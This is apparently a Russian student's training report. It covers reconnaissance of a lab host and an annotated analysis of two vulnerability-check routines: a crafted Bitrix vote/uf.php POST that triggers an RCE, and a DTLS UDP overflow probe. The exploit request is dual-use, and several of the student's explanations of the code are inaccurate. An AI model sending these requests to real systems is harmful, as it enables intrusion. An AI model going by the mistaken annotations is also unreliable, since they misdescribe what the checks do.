---
# System prepended metadata

title: INT-7-Криворученко_Савелий-Практика_7
tags: [Module 2]

---

---
title: INT-7-Криворученко_Савелий-Практика_7
tags: Module 2
description: Use `{%hackmd theme-dark %}` syntax to include this theme.
---

<style>

html, body, .ui-content {
    background-color: #333;
    color: #ddd;
}

.markdown-body h1,
.markdown-body h2,
.markdown-body h3,
.markdown-body h4,
.markdown-body h5,
.markdown-body h6 {
    color: #ddd;
}

.markdown-body h1,
.markdown-body h2 {
    border-bottom-color: #ffffff69;
}

.markdown-body h1 .octicon-link,
.markdown-body h2 .octicon-link,
.markdown-body h3 .octicon-link,
.markdown-body h4 .octicon-link,
.markdown-body h5 .octicon-link,
.markdown-body h6 .octicon-link {
    color: #fff;
}

.markdown-body img {
    background-color: transparent;
}

.ui-toc-dropdown .nav>.active:focus>a, .ui-toc-dropdown .nav>.active:hover>a, .ui-toc-dropdown .nav>.active>a {
    color: white;
    border-left: 2px solid white;
}

.expand-toggle:hover, 
.expand-toggle:focus, 
.back-to-top:hover, 
.back-to-top:focus, 
.go-to-bottom:hover, 
.go-to-bottom:focus {
    color: white;
}


.ui-toc-dropdown {
    background-color: #333;
}

.ui-toc-label.btn {
    background-color: #191919;
    color: white;
}

.ui-toc-dropdown .nav>li>a:focus, 
.ui-toc-dropdown .nav>li>a:hover {
    color: white;
    border-left: 1px solid white;
}

.markdown-body blockquote {
    color: #bcbcbc;
}

.markdown-body table tr {
    background-color: #5f5f5f;
}

.markdown-body table tr:nth-child(2n) {
    background-color: #4f4f4f;
}

.markdown-body code,
.markdown-body tt {
    color: #eee;
    background-color: rgba(230, 230, 230, 0.36);
}

a,
.open-files-container li.selected a {
    color: #5EB7E0;
}

</style>

# Module_2_INT-7-Криворученко_Савелий

```

```

<a name="headers"><h2>Особенности работы отдела безопасности сетевых (WEB) приложений</h2></a>

## Задачи:

- [ ] Стенд по адресу: 10.90.192.19
Необходимо провести blackbox recon данного узла. Ответ оформить в виде advisory.

* Какие tcp порты открыты.
* Сколько сервисов(ПО) доступно на данных портах. Назвать не менее 5.
* Собрать максимально возможную доступную информацию о каждом найденном сервисе.

- [ ] Представлен код безопасных проверок на уязвимости: Check1 и Check2.  Ответы можно предоставить как ответы на вопросы в развернутом виде, так и в виде advisory.

*  Разобрать код. Что он делает и зачем. В чем заключается специфика безопасной проверки.
*  Наличие каких уязвимостей проверяют Check1 и Check2
*  Check1: что должно быть вместо строки ???????????????????????????, чтобы вынести вердикт о наличии уязвимости
*  Какими еще методами можно удаленно проверить на наличие уязвимостей.
*  Какие достоинства, риски и ограничения у предложенных методов.


|Какие tcp порты открыты|
|---|

|Подключимся по openvpn|
|---|
|![](https://i.imgur.com/R2Sr2ph.png)|
|Произведем интенсивное сканирование tcp портов|
|![](https://i.imgur.com/Ypb5nQL.png)|
|![](https://i.imgur.com/n4TlHX7.png)



```

В ходе сканирования были получены порты и сервисы:

PORT  |  STATE | SERVICE |VERSION
------------------------------
21/tcp   open    ftp       vsftpd
22/tcp   open    ssh       OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
2200/tcp open    ssh       OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
4433/tcp open    http      Apache httpd 2.4.41
514/tcp  filtered shell
```


|21 port|
|---|
|ftp - программные приложения, которые позволяют пересылать файлы с одного устройства на другое. как локальный, так и анонимный доступ отключены.

|21 port|
|---|
|ssh - протокол удаленного управления ОС (ubuntu). Использует ssh-hostkey:
|   3072 6dc210f310b74344730d0b2967c55211 (RSA - криптоалгоритм с использованием открытого ключа)
   256 81f0dad2b4028836c89499378547e42f (ECDSA -строится эллиптической кривой, использует открытый ключ)
  256 dc5a721fb0e894971600b2d3b4ba4f27 (ED25519 - схема шнора)
![](https://i.imgur.com/vVjgjaL.png)

  
|2200 port|
|---|
|ssh. Использует ssh-hostkey:|
|3072 fc0a5afdd0eeccb61f1ec7ee00feb5d5 (RSA)
![](https://i.imgur.com/wnlCb7I.png)


|4433 port|
|---|
|Apache2 - веб. сервер. Версия: 2.4.41. http/1.1. 
![](https://i.imgur.com/PuRHvDX.png)
![](https://i.imgur.com/5JjaW1x.png)

|Данный ip защищен брандмауером, использовал вызов -Pn|
|---|
|![](https://i.imgur.com/Ejuwlvz.png)
| port 514 является отфильтрованым, отвечающим за shell - обеспечивает поддержку виртуального терминала|
|![](https://i.imgur.com/efplxIV.png)|

|Не понимаю, что за вид advisory. Если это консультирующая часть то я бы:|
|---|
|Спрятал за Firewall ПО: ftp ssh|
|C Apache ввел запрет просмотра содержимого папок без индексного файл, спрятал версию веб-сервера, поставил firewall, запрет доступа к папкам с резервными копиями

---

|2|
|---|

|Разберем код|
|---|
|Подписал действия кода| 

```
void Check1(host, port)
{
	string iid;
	string sess;
	HTTPReply reply = HTTPGETRequest(host, port, "/bitrix/tools/composite_data.php", "Connection: keep-alive");
	if (reply.code == 200)
	{
		boost::regex pattern;
		pattern = boost::regex(".*PHPSESSID=([\\d\\w]+).*'bitrix_sessid':'([\\d\\w]+?)'.*", boost::regex_constants::icase);
		
		  /* поиска подстроки в исходной строке по заданному регулярному выражению*/
		
		boost::smatch what;
		
		if (boost::regex_match(reply.fullreply, what, pattern))
		{
			sess = string(what[1].first, what[1].second);
			iid = string(what[2].first, what[2].second);
		}
		
		/* соответсвия входящей строки и некоторого регулярного выражения */
		
		if (sess.empty() || iid.empty())
		{
			printf("Prereq fail %s", reply.fullreply.c_str());
			return;
		}
		/* Если id и session неизвестны или пусты, доступ запрещен */
		
		HTTPReply replyPost = HTTPPOSTRequest(plugin,
			GetServerName(plugin), 
			"/bitrix/tools/vote/uf.php?attachId[ENTITY_TYPE]=CFileUploader&attachId[ENTITY_ID][events][onFileIsStarted][]=CAllAgent&attachId[ENTITY_ID][events][onFileIsStarted][]=Update&attachId[MODULE_ID]=vote&action=vote",
			"--db7314ff402791dd7fd88f6570d622c1\r\nContent-Disposition: form-data; 
			name=\"sessid\"\r\n\r\n" + iid, 
			"Cookie: PHPSESSID=" + sess + "\r\nContent-Type: multipart/form-data; 
			boundary=db7314ff402791dd7fd88f6570d622c1");

		/* Всегда требуется создавать логирования пост запросов, чтобы избежать удаленного выполнения кода RCE */
		
		if (replyPost.code == 200 && replyPost.fullreply.find("??????????????????????????? = /bitrix/tools/vote/uf.php") != string::npos)
		{
			printf("Vulnerable");
			return;
		}
		else
		{
			printf("Not Vulnerable");
			return;
		}
	}
}

/* ???????????? - другие варианты: /bitrix/tools/upload.php
/bitrix/tools/mail_entry.php; /bitrix/modules/main/include/virtual_file_system.php; /bitrix/components/bitrix/sender.mail.editor/ajax.php; /bitrix/tools/vote/uf.php; /bitrix/tools/html_editor_action.php; /bitrix/admin/site_checker.php*/

```



```
DWORD Check2(ip, port) {
    UdpDtlsSocket udp_dtls_sock(ip, port);

/* DTLS sock - оболочка для обеспечения шифрования для приложений */

    if (!udp_dtls_sock.DtlsConnect())
        return false;

    Buffer notVulnRecv("\xff\xff\x00\x80");
	/* call */
    Buffer sendValidProbe("\x05\x00\x06\x00\x00\x00\x41\x00\x01\x00");
	/* макс размер буфера для udp сокета */
    Buffer sendVulnProbe("\x05\x00\x06\x00\x00\x00\x41\x00\x01\x00\x00");
	/* опасный буфера для udp сокета */
    Buffer recvMsg;
	/* recvMsg - Получение сообщения из сокета */
	
    printf("[*] Sending vulnerable package...");
    if (!udp_dtls_sock.DtlsWrite(sendVulnProbe))
        return false;
	/* При опасном буфере, не выполняет запрос  */
	
    bool rc = udp_dtls_sock.DtlsRead(recvMsg);
	
	/* перенос значения сокета в переменную */
	
    if ((rc && recvMsg.Size() < 4) || (rc && recvMsg.SubBuf(recvMsg.Size() - 4, 4) != notVulnRecv)) {
        printf("Vulnerable");
        return true;
    }
	
	/* обнаружение уязвимости  */
	
    if (rc && recvMsg.Size() >= 4 && recvMsg.SubBuf(recvMsg.Size() - 4, 4) == notVulnRecv) {
        return false;
    }

	/* Не выполняет запрос  */

    printf("[*] Sending package...");
    if (!udp_dtls_sock.DtlsWrite(sendValidProbe))
        return false;

    recvMsg.Clear();
    rc = udp_dtls_sock.DtlsRead(recvMsg);
    if (rc) {
        printf("Vulnerable");

        return true;
    }
	
    return false;
}
```



|1. Разобрать код. Что он делает и зачем. В чем заключается специфика безопасной проверки.|
|---|
|Check1|
|1. Производит поиск по заданному регулярному выражению, 2. После чего сверяет с регулярным выражением. А также происходит логирование post запроса для корректной идентификации сессии. Если же без логирования был получен доступ в папку настроек, то уязвимость присутствует.|
|Check2|
|Данная проверка сверяет кол-во буфера незашифрованного udp сокета с несколькими стадиями проверки|

|2. Наличие каких уязвимостей проверяют Check1 и Check2|
|---|
|Check1|
|RCE уязвимость, довольно свежая, получила свою популярность после начала СВО, Построенная на уязвимости bitrix. Внедряется путем post запросов|
|Check2|
|Удаленный пользователь может с помощью специально сформированного UDP пакета вызвать переполнение стека и выполнить произвольный код на целевой системе.
|CVSS: 3.0/ AV: N / AC: L / PR: N / UI: N / S: U / C: H / I: H / A: H|

|3. что должно быть вместо строки ???????????????????????????|
|---|

```
/bitrix/tools/mail_entry.php; /bitrix/modules/main/include/virtual_file_system.php; /bitrix/components/bitrix/sender.mail.editor/ajax.php; /bitrix/tools/vote/uf.php; /bitrix/tools/html_editor_action.php; /bitrix/admin/site_checker.php*/
```

|4. Какими еще методами можно удаленно проверить на наличие уязвимостей.|
|---|
|Использовать nuckle -  собственных пользовательских проверок безопасности с помощью очень простого и удобного в использовании синтаксиса шаблонов. ИЛИ сервис SHODAN для просмотра уязвимостей и открытых портов|

|5. Какие достоинства, риски и ограничения у предложенных методов.|
|---|
|Нукля. Достоинства: безопасная проверка, Риск: минимальный если же подход whitebox(не знаю можно ли так говорить).Инструмент имеет мало ложных срабатываний, а также огромное количество полностью настраиваемых шаблонов|
|shodan. Достоинства: дает возможность быстро оценить число уязвимых версий ПО после публикации очередной уязвимости. Риск: -. Ограничения: Дает обширный доступ к возможным уязвимостям, без совершения проверки.